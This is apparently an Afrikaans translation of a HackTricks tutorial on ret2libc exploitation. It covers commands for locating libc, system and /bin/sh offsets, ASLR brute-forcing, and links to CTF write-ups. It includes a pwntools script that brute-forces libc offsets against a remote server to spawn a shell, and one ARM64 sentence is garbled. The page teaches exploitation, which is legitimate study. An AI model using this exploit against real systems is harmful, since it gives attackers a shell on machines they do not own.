Ret2lib
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Die kern van Ret2Libc is om die uitvoeringsvloei van ’n kwesbare program om te lei na ’n funksie binne ’n gedeelde biblioteek (bv., system, execve, strcpy) in plaas van om deur die aanvaller verskafte shellcode op die stack uit te voer. Die aanvaller vervaardig ’n payload wat die return address op die stack wysig om na die gewenste biblioteekfunksie te wys, terwyl hy ook reël dat enige benodigde argumente korrek opgestel word volgens die calling convention.
Voorbeeldstappe (vereenvoudig)
- Kry die adres van die funksie wat geroep moet word (bv. system) en die kommando wat aangeroep moet word (bv. /bin/sh)
- Genereer ’n ROP chain om die eerste argument te deur te gee wat na die command string wys en die uitvoeringsvloei na die funksie te stuur
Die adresse vind
- Aangenome dat die
libcwat gebruik word die een van die huidige masjien is, kan jy vind waar dit in geheue gelaai sal word met:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
As jy wil nagaan of ASLR die adres van libc verander, kan jy dit so doen:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- As jy die gebruikte libc ken, is dit ook moontlik om die offset na die
systemfunksie te vind met:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- As jy die gebruikte libc ken, is dit ook moontlik om die offset na die string
/bin/shte vind met:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Gebruik van gdb-peda / GEF
As die gebruikte libc bekend is, is dit ook moontlik om Peda of GEF te gebruik om die adres van die system funksie, van die exit funksie en van die string /bin/sh te kry :
p system
p exit
find "/bin/sh"
Gebruik /proc/<PID>/maps
As die proses elke keer as jy daarmee kommunikeer (network server) kinderprosesse skep, probeer om daardie lêer te lees (jy sal waarskynlik root-regte benodig).
Hier kan jy presies vind waar die libc binne die proses gelaai is en waar dit vir elke kind van die proses gelaai gaan word.
.png)
In hierdie geval is dit gelaai by 0xb75dc000 (Dit sal die basisadres van libc wees)
Onbekende libc
Dit kan moontlik wees dat jy nie weet watter libc die binêre laai nie (want dit kan op ’n bediener geleë wees waartoe jy geen toegang het nie). In daardie geval kan jy die kwesbaarheid misbruik om leak some addresses and find which libc biblioteek te identifiseer:
En jy kan ’n pwntools template daarvoor vind in:
Ken libc met 2 offsets
Gaan na die bladsy https://libc.blukat.me/ en gebruik ’n paar adresse van funksies binne die libc om die weergawe wat gebruik word uit te vind.
Om ASLR in 32 bits te omseil
Hierdie brute-force-aanvalle is slegs nuttig vir 32bit-stelsels.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- As jy ’n remote server aanval, kan jy probeer om die brute-force die adres van die
libc-funksieusleep, deur 10 as argument te gee (byvoorbeeld). As die server op ’n stadium 10s langer neem om te antwoord, het jy die adres van hierdie funksie gevind.
One Gadget
Voer ’n shell uit net deur na ’n enkele spesifieke adres in libc te spring:
x86 Ret2lib Kode Voorbeeld
In hierdie voorbeeld is ASLR brute-force in die kode geïntegreer en die kwesbare binary is op ’n remote server geleë:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib Kodevoorbeeld
Kyk na die voorbeeld vanaf:
ARM64 Ret2lib Voorbeeld
In die geval van ARM64 spring die ret instruksie na waarheen die x30 register wys en nie waarheen die stack-register wys nie. Dit is dus ’n bietjie ingewikkelder.
Ook in ARM64 doen ’n instruksie wat die instruksie doen (dit is nie moontlik om in die middel van instruksies te spring en dit in nuwe instruksies te transformeer nie).
Kyk na die voorbeeld vanaf:
Ret-into-printf (or puts)
Dit laat toe om leak inligting uit die proses deur printf/puts aan te roep met spesifieke data as ’n argument. Byvoorbeeld, om die adres van puts in die GOT as argument aan puts te gee, sal leak die adres van puts in geheue.
Ret2printf
Dit beteken basies om ’n Ret2lib te misbruik om dit in ’n printf format strings vulnerability te transformeer deur die ret2lib te gebruik om printf aan te roep met die waardes om dit te exploit (klink nutteloos maar moontlik):
Ander Voorbeelde & verwysings
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib: gegewe ’n leak na die adres van ’n funksie in libc, gebruik one gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR enabled maar geen PIE; die eerste stap is om ’n overflow te vul tot by die 0x00-byte van die canary en dan puts aan te roep om dit te leak. Met die canary word ’n ROP gadget geskep om puts aan te roep en die adres van puts uit die GOT te leak, en dan ’n ROP gadget om
system('/bin/sh')aan te roep. - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits, ASLR enabled, geen canary, stack overflow in main vanaf ’n child-funksie. ROP gadget om puts aan te roep om die adres van puts uit die GOT te leak en dan one gadget aan te roep.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bits, geen PIE, geen canary, geen relro, nx. Gebruik write-funksie om die adres van write (libc) te leak en roep one gadget aan.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Gebruik ’n format string om die canary vanaf die stack te leak en ’n buffer overflow om system (dit is in die GOT) aan te roep met die adres van
/bin/sh. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bit, geen relro, geen canary, nx, PIE. Misbruik ’n slegte indeksasie om adresse van libc en heap vanaf die stack te leak. Misbruik die buffer overflow om ’n ret2lib te doen wat
system('/bin/sh')aanroep (die heap-adres is nodig om ’n check te omseil).
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


